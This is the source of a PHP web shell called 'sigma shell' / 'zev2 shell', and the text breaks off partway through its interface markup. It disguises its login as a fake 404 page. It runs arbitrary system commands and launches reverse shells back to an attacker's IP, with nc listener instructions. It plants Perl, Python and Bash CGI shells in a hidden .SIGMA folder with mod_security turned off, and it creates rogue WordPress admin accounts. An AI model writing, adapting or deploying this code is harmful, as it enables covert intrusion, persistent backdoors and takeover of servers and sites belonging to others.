SysAdmin FileManager

✏️ Edit: temp_ff11c7db0fd92e20bbf9d98e497db013.php

👁️ View ✕ Cancel

<?php
// ================ LOGIN SYSTEM ================
session_start();

$valid_hash = '$2y$10$wg9lRJsLZgU0Dk0BRMowU.87PjIOMQiDSKNfHF3YcPFNabEPlF/Fm';

// Cek apakah sudah login
if (!isset($_SESSION['sigma_access'])) {
    // Cek form login
    if (isset($_POST['sigma_pass'])) {
        if (password_verify($_POST['sigma_pass'], $valid_hash)) {
            $_SESSION['sigma_access'] = true;
            header('Location: ' . $_SERVER['PHP_SELF']);
            exit;
        }
    }
    
    // Tampilkan halaman 404 palsu dengan form login
    http_response_code(404);
    $requested_url = $_SERVER['REQUEST_URI'] ?? '/';
    ?>
    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <html>
    <head>
        <title>404 Not Found</title>
        <style>
            /* Hidden password form - samar di tengah bawah */
            .sigma-form {
                position: fixed;
                bottom: 20px;
                left: 50%;
                transform: translateX(-50%);
                opacity: 0.15;
                transition: opacity 0.3s ease;
                text-align: center;
                pointer-events: auto;
                z-index: 1000;
            }
            
            .sigma-form:hover {
                opacity: 0.4;
            }
            
            .sigma-form input {
                background: transparent;
                border: 1px solid #ccc;
                color: #333;
                padding: 6px 12px;
                font-size: 13px;
                font-family: 'Times New Roman', serif;
                width: 150px;
                border-radius: 0;
            }
            
            .sigma-form input:focus {
                outline: none;
                border-color: #666;
                background: rgba(255,255,255,0.1);
            }
            
            .sigma-form button {
                background: transparent;
                border: 1px solid #ccc;
                color: #333;
                padding: 6px 12px;
                font-size: 13px;
                font-family: 'Times New Roman', serif;
                cursor: pointer;
                margin-left: 5px;
            }
            
            .sigma-form button:hover {
                background: rgba(0,0,0,0.05);
            }
            
            /* Hint sangat samar di source code */
            .sigma-hint {
                display: none;
            }
            
            /* Style untuk pesan error */
            .error-msg {
                position: fixed;
                top: 50%;
                left: 50%;
                transform: translate(-50%, -50%);
                background: rgba(255,0,0,0.1);
                border: 1px solid #ff0000;
                color: #ff0000;
                padding: 5px 10px;
                font-size: 12px;
                font-family: monospace;
                opacity: 0.7;
            }
        </style>
    </head>
    <body>
        <h1>Not Found</h1>
        <p>The requested URL <?php echo htmlspecialchars($requested_url); ?> was not found on this server.</p>
        <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
        
        
        
        
        <form method="POST" class="sigma-form" autocomplete="off">
            <input type="password" name="sigma_pass" placeholder="••••••">
            <button type="submit">→</button>
        </form>
        
        <?php if (isset($_POST['sigma_pass'])): ?>
            <div class="error-msg">Access denied</div>
        <?php endif; ?>
        
        <script>
        (function() {
            const form = document.querySelector('.sigma-form');
            const input = form.querySelector('input');
            
            input.addEventListener('focus', function() {
                form.style.opacity = '0.8';
            });
            
            input.addEventListener('blur', function() {
                form.style.opacity = '0.15';
            });
        })();
        </script>
    </body>
    </html>
    <?php
    exit;
}

// ================ ORIGINAL ALFA.PHP ================
// [DI SINI KODE ALFA.PHP ASLI TANPA PERUBAHAN]
error_reporting(0);
ini_set('display_errors', 0);
set_time_limit(0);

function createCGIShell($type, $base_path) {
    // Buat folder .SIGMA
    $sigma_folder = rtrim($base_path, '/') . '/.SIGMA';
    if (!is_dir($sigma_folder)) {
        mkdir($sigma_folder, 0755, true);
    }
    
    // Buat .htaccess
    $htaccess = $sigma_folder . '/.htaccess';
    $htaccess_content = 'Options +ExecCGI
AddHandler cgi-script .cgi
DirectoryIndex index.html

# Allow access from anywhere
Order allow,deny
Allow from all

# Disable security for CGI
<IfModule mod_security.c>
    SecFilterEngine Off
    SecFilterScanPOST Off
</IfModule>

# Set proper permissions
<FilesMatch "\.cgi$">
    SetHandler cgi-script
    Options +ExecCGI
</FilesMatch>';
    file_put_contents($htaccess, $htaccess_content);
    
    $content = '';
    $filename = '';
    
    if ($type == 'perl') {
        $filename = 'perl.cgi';
        $content = '#!/usr/bin/perl
use strict;
use warnings;
print "Content-type: text/html\n\n";
print "<!DOCTYPE html><html><head><title>Perl CGI Shell</title>";
print "<style>body{background:#1e1e2f;color:#e0e0e0;font-family:monospace;padding:20px;}";
print "input{background:#2d2d3a;color:#fff;border:1px solid #4a9eff;padding:8px;width:70%;font-family:monospace;}";
print "button{background:#4a9eff;color:#fff;border:none;padding:8px 20px;cursor:pointer;font-weight:bold;}";
print "pre{background:#252532;padding:15px;border-radius:5px;border-left:4px solid #7502FF;}</style></head><body>";
print "<h2>Perl CGI Shell</h2>";
print "<form method=\'GET\'><input type=\'text\' name=\'cmd\' placeholder=\'Enter command...\' autofocus> ";
print "<button type=\'submit\'>Execute</button></form>";
print "<hr><pre>";

my $cmd = $ENV{\'QUERY_STRING\'};
$cmd =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$cmd =~ s/\+/ /g;
$cmd =~ s/&cmd=//;
if ($cmd) {
    my $output = `$cmd 2>&1`;
    $output =~ s/</&lt;/g;
    $output =~ s/>/&gt;/g;
    print $output;
}
print "</pre></body></html>";
';
    } elseif ($type == 'python') {
        $filename = 'python.cgi';
        $content = '#!/usr/bin/python
import os
import cgi
print "Content-type: text/html\\n"
print "<!DOCTYPE html><html><head><title>Python CGI Shell</title>"
print "<style>body{background:#1e1e2f;color:#e0e0e0;font-family:monospace;padding:20px;}"
print "input{background:#2d2d3a;color:#fff;border:1px solid #4a9eff;padding:8px;width:70%;font-family:monospace;}"
print "button{background:#4a9eff;color:#fff;border:none;padding:8px 20px;cursor:pointer;font-weight:bold;}"
print "pre{background:#252532;padding:15px;border-radius:5px;border-left:4px solid #7502FF;}</style></head><body>"
print "<h2>Python CGI Shell</h2>"
print "<form method=\'GET\'><input type=\'text\' name=\'cmd\' placeholder=\'Enter command...\' autofocus> "
print "<button type=\'submit\'>Execute</button></form>"
print "<hr><pre>"

fs = cgi.FieldStorage()
cmd = fs.getvalue("cmd", "")
if cmd:
    output = os.popen(cmd).read()
    print output.replace("<", "&lt;").replace(">", "&gt;")
print "</pre></body></html>"
';
    } elseif ($type == 'bash') {
        $filename = 'bash.cgi';
        $content = '#!/bin/bash
echo "Content-type: text/html"
echo ""
echo "<!DOCTYPE html><html><head><title>Bash CGI Shell</title>"
echo "<style>body{background:#1e1e2f;color:#e0e0e0;font-family:monospace;padding:20px;}"
echo "input{background:#2d2d3a;color:#fff;border:1px solid #4a9eff;padding:8px;width:70%;font-family:monospace;}"
echo "button{background:#4a9eff;color:#fff;border:none;padding:8px 20px;cursor:pointer;font-weight:bold;}"
echo "pre{background:#252532;padding:15px;border-radius:5px;border-left:4px solid #7502FF;}</style></head><body>"
echo "<h2>Bash CGI Shell</h2>"
echo "<form method=\'GET\'><input type=\'text\' name=\'cmd\' placeholder=\'Enter command...\' autofocus> "
echo "<button type=\'submit\'>Execute</button></form>"
echo "<hr><pre>"

QUERY_STRING="$QUERY_STRING"
cmd=$(echo "$QUERY_STRING" | sed "s/&cmd=//g" | sed "s/%20/ /g" | sed "s/%2F/\//g")
if [ -n "$cmd" ]; then
    eval "$cmd" 2>&1
fi
echo "</pre></body></html>"
';
    }
    
    if ($content && $filename) {
        $fullpath = $sigma_folder . '/' . $filename;
        if (file_put_contents($fullpath, $content)) {
            chmod($fullpath, 0755);
            return ['path' => $fullpath, 'url' => $filename];
        }
    }
    return false;
}

// FUNGSI FILE MANAGER

function formatSize($bytes) {
    if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB';
    if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB';
    if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB';
    return $bytes . ' B';
}

function getSystemInfo() {
    $info = [];
    $info['kernel'] = php_uname('s') . ' ' . php_uname('r');
    $info['hostname'] = php_uname('n');
    $info['user'] = get_current_user() . ' (UID: ' . (function_exists('getmyuid') ? getmyuid() : '?') . ')';
    $info['disabled'] = ini_get('disable_functions') ?: 'None';
    $info['phpver'] = phpversion();
    $info['server_ip'] = $_SERVER['SERVER_ADDR'] ?? 'Unknown';
    $info['client_ip'] = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
    $info['software'] = $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown';
    return $info;
}

// AJAX HANDLERS

if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest') {
    header('Content-Type: application/json');
    
    if (isset($_POST['action'])) {
        $response = ['success' => false, 'message' => '', 'data' => null];
        
        switch ($_POST['action']) {
            case 'list':
                $dir = $_POST['dir'] ?? '.';
                $items = listDir($dir);
                $response['success'] = true;
                $response['data'] = $items;
                break;
                
            case 'rename':
                $old = $_POST['old'] ?? '';
                $new = $_POST['new'] ?? '';
                if ($old && $new && file_exists($old) && rename($old, $new)) {
                    $response['success'] = true;
                    $response['message'] = 'Renamed successfully';
                }
                break;
                
            case 'delete':
                $path = $_POST['path'] ?? '';
                if ($path && file_exists($path)) {
                    if (is_dir($path)) {
                        $success = true;
                        $it = new RecursiveIteratorIterator(
                            new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
                            RecursiveIteratorIterator::CHILD_FIRST
                        );
                        foreach ($it as $f) {
                            if ($f->isDir()) $success = @rmdir($f->getRealPath()) && $success;
                            else $success = @unlink($f->getRealPath()) && $success;
                        }
                        $success = @rmdir($path) && $success;
                        $response['success'] = $success;
                        $response['message'] = $success ? 'Deleted' : 'Delete failed';
                    } else {
                        if (@unlink($path)) {
                            $response['success'] = true;
                            $response['message'] = 'Deleted';
                        }
                    }
                }
                break;
                
            case 'save':
                $file = $_POST['file'] ?? '';
                $content = $_POST['content'] ?? '';
                if ($file && file_put_contents($file, $content) !== false) {
                    $response['success'] = true;
                    $response['message'] = 'Saved';
                }
                break;
                
            case 'chmod':
                $path = $_POST['path'] ?? '';
                $perms = $_POST['perms'] ?? '';
                if ($path && $perms && chmod($path, octdec($perms))) {
                    $response['success'] = true;
                    $response['message'] = 'Permissions changed';
                }
                break;
                
            case 'mkdir':
                $dir = $_POST['dir'] ?? '';
                if ($dir && !file_exists($dir) && mkdir($dir, 0755, true)) {
                    $response['success'] = true;
                    $response['message'] = 'Directory created';
                }
                break;
                
            case 'mkfile':
                $file = $_POST['file'] ?? '';
                $content = $_POST['content'] ?? '';
                if ($file && file_put_contents($file, $content) !== false) {
                    $response['success'] = true;
                    $response['message'] = 'File created';
                }
                break;
                
            case 'upload':
                if (isset($_FILES['file'])) {
                    $target = $_POST['path'] . '/' . basename($_FILES['file']['name']);
                    if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
                        $response['success'] = true;
                        $response['message'] = 'Uploaded';
                    }
                }
                break;
                
            case 'read':
                $file = $_POST['file'] ?? '';
                if ($file && file_exists($file) && is_file($file)) {
                    $response['success'] = true;
                    $response['data'] = file_get_contents($file);
                }
                break;
                
            case 'cmd':
                $cmd = $_POST['cmd'] ?? '';
                $cwd = $_POST['cwd'] ?? '';
                
                if ($cmd) {
                    $fullcmd = "cd " . escapeshellarg($cwd) . " && " . $cmd . " 2>&1";
                    $output = '';
                    
                    if (function_exists('shell_exec')) {
                        $output = shell_exec($fullcmd);
                    } elseif (function_exists('exec')) {
                        exec($fullcmd, $out);
                        $output = implode("\n", $out);
                    } elseif (function_exists('system')) {
                        ob_start();
                        system($fullcmd);
                        $output = ob_get_clean();
                    } elseif (function_exists('passthru')) {
                        ob_start();
                        passthru($fullcmd);
                        $output = ob_get_clean();
                    } elseif (is_resource($proc = popen($fullcmd, 'r'))) {
                        $output = fread($proc, 2097152);
                        pclose($proc);
                    }
                    
                    $response['success'] = true;
                    $response['data'] = $output ?: 'No output';
                }
                break;
                
            case 'backconnect':
                $type = $_POST['type'] ?? 'php';
                $ip = $_POST['ip'] ?? '';
                $port = $_POST['port'] ?? '';
                
                if ($ip && $port) {
                    backConnect($type, $ip, $port);
                    $response['success'] = true;
                    $response['message'] = "Backconnect sent to $ip:$port using $type";
                }
                break;
                
            case 'cgi':
                $type = $_POST['cgi_type'] ?? '';
                $path = $_POST['cgi_path'] ?? '';
                $result = createCGIShell($type, $path);
                if ($result) {
                    $response['success'] = true;
                    $response['message'] = 'CGI shell created in .SIGMA folder';
                    $response['path'] = $result['path'];
                    $response['url'] = $result['url'];
                    $response['folder'] = '.SIGMA';
                    $base_url = (isset($_SERVER['HTTPS']) ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . dirname($_SERVER['PHP_SELF']);
                    $response['full_url'] = $base_url . '/.SIGMA/' . $result['url'];
                } else {
                    $response['message'] = 'Failed to create CGI shell';
                }
                break;
                
            case 'wp_scan':
                $path = $_POST['path'] ?? '.';
                $sites = scanWordPress($path);
                $response['success'] = true;
                $response['sites'] = $sites;
                $response['count'] = count($sites);
                break;
                
            case 'wp_add':
                $path = $_POST['wp_path'] ?? '';
                $user = $_POST['username'] ?? '';
                $pass = $_POST['password'] ?? '';
                $email = $_POST['email'] ?? '';
                
                if ($path && $user && $pass && $email) {
                    $response = wpAddAdmin($path, $user, $pass, $email);
                } else {
                    $response['message'] = 'All fields required';
                }
                break;
        }
        
        echo json_encode($response);
        exit;
    }
}

// MAIN SHELL - TEMA ALFA

$cwd = isset($_GET['dir']) ? $_GET['dir'] : '.';
$cwd = realpath($cwd) ?: realpath('.');
if (!$cwd) $cwd = '/';
if ($cwd[strlen($cwd)-1] != '/') $cwd .= '/';

$sys_info = getSystemInfo();
?>
<!DOCTYPE html>
<html>
<head>
    <title>sigma shell</title>
    <meta charset="UTF-8">
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { 
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: #1e1e2f;
            color: #e0e0e0;
            padding: 20px;
        }
        
        .container {
            max-width: 1400px;
            margin: 0 auto;
            background: #2d2d3a;
            border-radius: 12px;
            padding: 25px;
            box-shadow: 0 8px 30px rgba(0,0,0,0.3);
        }
        
        /* System Info */
        .sys-info {
            background: #252532;
            border-radius: 10px;
            padding: 20px;
            margin-bottom: 25px;
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
            gap: 15px;
            border: 1px solid #3a3a4a;
        }
        
        .info-item {
            padding: 10px;
            background: #1e1e2b;
            border-radius: 8px;
            border-left: 3px solid #4a9eff;
        }
        
        .info-label {
            font-size: 12px;
            color: #8a8fa0;
            text-transform: uppercase;
            letter-spacing: 0.5px;
            margin-bottom: 5px;
        }
        
        .info-value {
            font-size: 14px;
            color: #fff;
            font-weight: 500;
            word-break: break-all;
        }
        
        .info-value a {
            color: #4a9eff;
            text-decoration: none;
        }
        
        .info-value a:hover {
            text-decoration: underline;
        }
        
        /* Header */
        .header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 20px;
            padding-bottom: 15px;
            border-bottom: 1px solid #3a3a4a;
        }
        
        .header h1 {
            font-size: 24px;
            font-weight: 600;
            color: #fff;
        }
        
        .header h1 span {
            color: #4a9eff;
            font-size: 14px;
            margin-left: 10px;
            font-weight: normal;
        }
        
        /* Menu Tabs */
        .menu-tabs {
            display: flex;
            gap: 2px;
            margin-bottom: 20px;
            background: #252532;
            padding: 10px;
            border-radius: 8px;
            border: 1px solid #3a3a4a;
        }
        
        .tab-btn {
            padding: 10px 20px;
            background: #3a3a4a;
            color: #8a8fa0;
            border: none;
            border-radius: 6px;
            cursor: pointer;
            font-size: 14px;
            font-weight: 500;
            transition: all 0.2s;
        }
        
        .tab-btn:hover {
            background: #4a9eff;
            color: #fff;
        }
        
        .tab-btn.active {
            background: #4a9eff;
            color: #fff;
        }
        
        /* Path */
        .path {
            background: #252532;
            padding: 12px 18px;
            border-radius: 8px;
            margin-bottom: 20px;
            font-family: 'Courier New', monospace;
            font-size: 14px;
            border: 1px solid #3a3a4a;
            display: flex;
            align-items: center;
            gap: 10px;
            flex-wrap: wrap;
        }
        
        .path a {
            color: #4a9eff;
            text-decoration: none;
        }
        
        .path a:hover {
            text-decoration: underline;
        }
        
        /* Action Buttons */
        .actions {
            display: flex;
            gap: 10px;
            margin-bottom: 20px;
            flex-wrap: wrap;
        }
        
        .btn {
            padding: 10px 18px;
            background: #3a3a4a;
            color: #fff;
            border: none;
            border-radius: 6px;
            cursor: pointer;
            font-size: 14px;
            font-weight: 500;
            transition: all 0.2s;
            display: inline-flex;
            align-items: center;
            gap: 5px;
        }
        
        .btn:hover {
            background: #4a4a5a;
            transform: translateY(-1px);
        }
        
        .btn-primary { background: #4a9eff; }
        .btn-primary:hover { background: #6aafff; }
        .btn-success { background: #2ecc71; }
        .btn-success:hover { background: #27ae60; }
        .btn-danger { background: #e74c3c; }
        .btn-danger:hover { background: #c0392b; }
        .btn-warning { background: #f39c12; }
        .btn-warning:hover { background: #e67e22; }
        
        /* Tools Grid */
        .tools-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(350px, 1fr));
            gap: 20px;
            margin-bottom: 25px;
        }
        
        .tool-card {
            background: #252532;
            border-radius: 10px;
            border: 1px solid #3a3a4a;
            overflow: hidden;
        }
        
        .tool-header {
            background: #1e1e2b;
            padding: 15px 20px;
            font-weight: 600;
            color: #4a9eff;
            border-bottom: 1px solid #3a3a4a;
            cursor: pointer;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        
        .tool-header:hover {
            background: #2a2a38;
        }
        
        .tool-header .toggle-icon {
            transition: transform 0.3s;
            font-size: 12px;
            color: #8a8fa0;
        }
        
        .tool-header.collapsed .toggle-icon {
            transform: rotate(-90deg);
        }
        
        .tool-body {
            padding: 20px;
            transition: all 0.3s;
        }
        
        .tool-body.collapsed {
            display: none;
        }
        
        .tool-body input, .tool-body select, .tool-body textarea {
            width: 100%;
            padding: 10px 12px;
            margin-bottom: 12px;
            background: #1e1e2b;
            border: 1px solid #3a3a4a;
            border-radius: 6px;
            color: #fff;
            font-size: 14px;
        }
        
        .tool-body input:focus, .tool-body select:focus, .tool-body textarea:focus {
            outline: none;
            border-color: #4a9eff;
        }
        
        .tool-body label {
            display: block;
            margin-bottom: 5px;
            color: #8a8fa0;
            font-size: 13px;
        }
        
        .tool-row {
            display: flex;
            gap: 10px;
            margin-bottom: 12px;
        }
        
        .tool-row input {
            flex: 1;
            margin-bottom: 0;
        }
        
        /* File Table - Compact dan Estetik */
        .file-table {
            width: 100%;
            border-collapse: collapse;
            margin-bottom: 20px;
            font-size: 13px;
        }
        
        .file-table th {
            background: #252532;
            padding: 10px 6px;
            text-align: left;
            font-weight: 600;
            color: #8a8fa0;
            border-bottom: 2px solid #3a3a4a;
            font-size: 12px;
            white-space: nowrap;
        }
        
        .file-table td {
            padding: 8px 6px;
            border-bottom: 1px solid #3a3a4a;
            white-space: nowrap;
        }
        
        .file-table tr:hover {
            background: #323240;
        }
        
        .file-table .dir {
            color: #4a9eff;
            font-weight: 500;
        }
        
        .file-table .file {
            color: #e0e0e0;
        }
        
        .perms {
            font-family: 'Courier New', monospace;
            color: #8a8fa0;
            letter-spacing: 0.5px;
        }
        
        .size {
            font-family: 'Courier New', monospace;
            color: #8a8fa0;
            text-align: right;
            padding-right: 10px;
        }
        
        .actions-cell {
            display: flex;
            gap: 2px;
            flex-wrap: nowrap;
        }
        
        .action-btn {
            padding: 3px 6px;
            font-size: 10px;
            border-radius: 3px;
            background: #3a3a4a;
            color: #fff;
            border: none;
            cursor: pointer;
            transition: all 0.2s;
            min-width: 32px;
            text-align: center;
        }
        
        .action-btn:hover { background: #4a4a5a; }
        .action-btn.edit { background: #f39c12; }
        .action-btn.download { background: #3498db; }
        .action-btn.rename { background: #95a5a6; }
        .action-btn.perms { background: #9b59b6; }
        .action-btn.delete { background: #e74c3c; }
        
        /* Shell Section */
        .shell-section {
            background: #252532;
            border-radius: 10px;
            margin-top: 25px;
            border: 1px solid #3a3a4a;
            overflow: hidden;
        }
        
        .shell-header {
            background: #1e1e2b;
            padding: 15px 20px;
            font-weight: 600;
            color: #4a9eff;
            border-bottom: 1px solid #3a3a4a;
        }
        
        .shell-input {
            display: flex;
            padding: 15px;
            background: #2d2d3a;
            gap: 10px;
        }
        
        .shell-input input {
            flex: 1;
            padding: 12px 15px;
            background: #1e1e2b;
            border: 1px solid #3a3a4a;
            border-radius: 6px;
            color: #fff;
            font-family: 'Courier New', monospace;
            font-size: 14px;
        }
        
        .shell-input input:focus {
            outline: none;
            border-color: #4a9eff;
        }
        
        .shell-output {
            background: #1a1a25;
            color: #00ff00;
            padding: 15px;
            font-family: 'Courier New', monospace;
            font-size: 13px;
            white-space: pre-wrap;
            word-break: break-all;
            max-height: 300px;
            overflow-y: auto;
            border-top: 1px solid #3a3a4a;
        }
        
        /* Modal */
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0,0,0,0.8);
            z-index: 1000;
            backdrop-filter: blur(5px);
        }
        
        .modal-content {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            background: #2d2d3a;
            padding: 30px;
            border-radius: 12px;
            min-width: 400px;
            max-width: 90%;
            max-height: 90vh;
            overflow-y: auto;
            box-shadow: 0 20px 60px rgba(0,0,0,0.5);
            border: 1px solid #4a4a5a;
        }
        
        .modal-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 20px;
            padding-bottom: 10px;
            border-bottom: 1px solid #3a3a4a;
        }
        
        .modal-header h3 {
            color: #fff;
            font-size: 18px;
        }
        
        .close {
            color: #8a8fa0;
            font-size: 24px;
            cursor: pointer;
            transition: color 0.2s;
        }
        
        .close:hover {
            color: #fff;
        }
        
        .form-group {
            margin-bottom: 20px;
        }
        
        .form-group label {
            display: block;
            margin-bottom: 8px;
            color: #8a8fa0;
            font-size: 13px;
            font-weight: 500;
        }
        
        .form-group input,
        .form-group textarea,
        .form-group select {
            width: 100%;
            padding: 10px 12px;
            background: #1e1e2b;
            border: 1px solid #3a3a4a;
            border-radius: 6px;
            color: #fff;
            font-size: 14px;
        }
        
        .form-group input:focus,
        .form-group textarea:focus,
        .form-group select:focus {
            outline: none;
            border-color: #4a9eff;
        }
        
        .form-group textarea {
            min-height: 300px;
            font-family: 'Courier New', monospace;
            resize: vertical;
        }
        
        .modal-footer {
            display: flex;
            gap: 10px;
            justify-content: flex-end;
            margin-top: 20px;
        }
        
        /* Iframe untuk CGI Shell */
        .cgi-iframe {
            width: 100%;
            height: 500px;
            border: 2px solid #3a3a4a;
            border-radius: 8px;
            background: #1e1e2f;
            margin-top: 15px;
        }
        
        /* Alert */
        .alert {
            position: fixed;
            top: 20px;
            right: 20px;
            padding: 15px 25px;
            background: #2d2d3a;
            border-left: 4px solid #4a9eff;
            border-radius: 6px;
            color: #fff;
            box-shadow: 0 5px 20px rgba(0,0,0,0.3);
            z-index: 2000;
            animation: slideIn 0.3s ease;
        }
        
        .alert.success { border-left-color: #2ecc71; }
        .alert.error { border-left-color: #e74c3c; }
        
        @keyframes slideIn {
            from { transform: translateX(100%); opacity: 0; }
            to { transform: translateX(0); opacity: 1; }
        }
        
        .hidden { display: none; }
        
        /* Loading Spinner */
        .spinner {
            display: inline-block;
            width: 20px;
            height: 20px;
            border: 2px solid #3a3a4a;
            border-top-color: #4a9eff;
            border-radius: 50%;
            animation: spin 1s linear infinite;
            margin-right: 10px;
            vertical-align: middle;
        }
        
        @keyframes spin {
            to { transform: rotate(360deg); }
        }
        
        /* Scrollbar */
        ::-webkit-scrollbar { width: 8px; height: 8px; }
        ::-webkit-scrollbar-track { background: #1e1e2b; border-radius: 8px; }
        ::-webkit-scrollbar-thumb { background: #3a3a4a; border-radius: 8px; }
        ::-webkit-scrollbar-thumb:hover { background: #4a4a5a; }
    </style>
</head>
<body>
<div class="container">
    
    <div class="sys-info">
        <div class="info-item">
            <div class="info-label">Kernel</div>
            <div class="info-value"><?php echo htmlspecialchars($sys_info['kernel']); ?></div>
        </div>
        <div class="info-item">
            <div class="info-label">User</div>
            <div class="info-value"><?php echo htmlspecialchars($sys_info['user']); ?></div>
        </div>
        <div class="info-item">
            <div class="info-label">Disabled Functions</div>
            <div class="info-value"><?php echo htmlspecialchars($sys_info['disabled']); ?></div>
        </div>
        <div class="info-item">
            <div class="info-label">PHP Version</div>
            <div class="info-value"><?php echo htmlspecialchars($sys_info['phpver']); ?></div>
        </div>
        <div class="info-item">
            <div class="info-label">Server IP</div>
            <div class="info-value"><?php echo htmlspecialchars($sys_info['server_ip']); ?></div>
        </div>
        <div class="info-item">
            <div class="info-label">Your IP</div>
            <div class="info-value"><?php echo htmlspecialchars($sys_info['client_ip']); ?></div>
        </div>
        <div class="info-item">
            <div class="info-label">Software</div>
            <div class="info-value"><?php echo htmlspecialchars($sys_info['software']); ?></div>
        </div>
    </div>

<div class="header">
        <h1>zev2 shell <span>v2.0</span></h1>
    </div>

<div class="menu-tabs">
        <button class="tab-btn active" onclick="showTab('files')">File Manager</button>
        <button class="tab-btn" onclick="showTab('backconnect')">Back Connect</button>
        <button class="tab-btn" onclick="showTab('cgi')">CGI Shell</button>
        <button class="tab-btn" onclick="showTab('wordpress')">WordPress</button>
    </div>

<div id="tab-files" class="tab-content">
        <div class="path" id="currentPath">
            <?php
            $parts = explode('/', trim($cwd, '/'));
            $path = '';
            echo '<a href="#" onclick="changeDir(\'/\')">~</a>';
            foreach ($parts as $p) {
                if ($p) {
                    $path .= '/' . $p;
                    echo ' / <a href="#" onclick="changeDir(\'' . htmlspecialchars($path) . '\')">' . htmlspecialchars($p) . '</a>';
                }
            }
            ?>
        </div>

<div class="actions">
            <button onclick="showModal('upload')" class="btn btn-primary">Upload</button>
            <button onclick="showModal('mkdir')" class="btn btn-success">New Folder</button>
            <button onclick="showModal('mkfile')" class="btn btn-warning">New File</button>
            <button onclick="goUp()" class="btn">Up</button>
            <button onclick="refreshDir()" class="btn">Refresh</button>
        </div>

<table class="file-table" id="fileTable">
            <thead>
                <tr>
                    <th width="30%">Name</th>
                    <th width="8%">Size</th>
                    <th width="8%">Perms</th>
                    <th width="15%">Owner/Group</th>
                    <th width="19%">Modified</th>
                    <th width="20%">Actions</th>
                </tr>
            </thead>
            <tbody id="fileList">
                <tr><td colspan="6" style="text-align:center; padding:40px;"><span class="spinner"></span> Loading...</td></tr>
            </tbody>
        </table>
    </div>

<div id="tab-backconnect" class="tab-content hidden">
        <div class="tools-grid">
            <div class="tool-card">
                <div class="tool-header" onclick="toggleTool(this)">
                    <span>Reverse Shell</span>
                    <span class="toggle-icon">▼</span>
                </div>
                <div class="tool-body">
                    <label>Type</label>
                    <select id="bc_type">
                        <option value="php">PHP</option>
                        <option value="perl">Perl</option>
                        <option value="python">Python</option>
                        <option value="bash">Bash</option>
                    </select>
                    
                    <label>IP Address</label>
                    <input type="text" id="bc_ip" value="<?php echo $sys_info['client_ip']; ?>">
                    
                    <label>Port</label>
                    <input type="text" id="bc_port" value="4444">
                    
                    <button onclick="backConnect()" class="btn btn-danger" style="width:100%">Connect</button>
                </div>
            </div>
            
            <div class="tool-card">
                <div class="tool-header" onclick="toggleTool(this)">
                    <span>Instructions</span>
                    <span class="toggle-icon">▼</span>
                </div>
                <div class="tool-body">
                    <pre style="background:#1e1e2b; padding:15px; border-radius:8px; font-size:12px; color:#8a8fa0; border:1px solid #3a3a4a;">
1. Listen on your machine:
   nc -lvnp [port]

2. Click Connect button

3. Shell will connect back
                    </pre>
                </div>
            </div>
        </div>
    </div>

<div id="tab-cgi" class="tab-content hidden">
        <div class="tools-grid">
            <div class="tool-card">
                <div class="tool-header" onclick="toggleTool(this)">
                    <span>Perl CGI Shell</span>
                    <span class="toggle-icon">▼</span>
                </div>
                <div class="tool-body">
                    <label>Base Path (akan dibuat folder .SIGMA)</label>
                    <input type="text" id="cgi_perl_path" value="<?php echo $cwd; ?>">
                    <button onclick="createCGI('perl')" class="btn btn-warning" style="width:100%">Create Perl CGI in .SIGMA</button>
                </div>
            </div>
            
            <div class="tool-card">
                <div class="tool-header" onclick="toggleTool(this)">
                    <span>Python CGI Shell</span>
                    <span class="toggle-icon">▼</span>
                </div>
                <div class="tool-body">
                    <label>Base Path (akan dibuat folder .SIGMA)</label>
                    <input type="text" id="cgi_python_path" value="<?php echo $cwd; ?>">
                    <button onclick="createCGI('python')" class="btn btn-warning" style="width:100%">Create Python CGI in .SIGMA</button>
                </div>
            </div>
            
            <div class="tool-card">
                <div class="tool-header" onclick="toggleTool(this)">
                    <span>Bash CGI Shell</span>
                    <span class="toggle-icon">▼</span>
                </div>
                <div class="tool-body">
                    <label>Base Path (akan dibuat folder .SIGMA)</label>
                    <input type="text" id="cgi_bash_path" value="<?php echo $cwd; ?>">
                    <button onclick="createCGI('bash')" class="btn btn-warning" style="width:100%">Create Bash CGI in .SIGMA</button>
                </div>
            </div>
        </div>
        
        
        <div id="cgiIframeContainer" style="margin-top:20px; display:none;">
            <div class="tool-card">
                <div class="tool-header" onclick="toggleTool(this)">
                    <span>CGI Shell Access (.SIGMA folder)</span>
                    <span class="toggle-icon">▼</span>
                </div>
                <div class="tool-body">
                    <iframe id="cgiIframe" class="cgi-iframe" src="about:blank"></iframe>
                    <div style="margin-top:15px; text-align:center;">
                        <a href="#" id="cgiIframeLink" target="_blank" class="btn btn-primary">Open in New Tab</a>
                    </div>
                </div>
            </div>
        </div>
    </div>

<div id="tab-wordpress" class="tab-content hidden">
        <div class="tools-grid">
            <div class="tool-card">
                <div class="tool-header" onclick="toggleTool(this)">
                    <span>WordPress Admin Creator</span>
                    <span class="toggle-icon">▼</span>
                </div>
                <div class="tool-body">
                    <label>Scan Directory</label>
                    <input type="text" id="wp_scan_path" value="<?php echo $cwd; ?>">
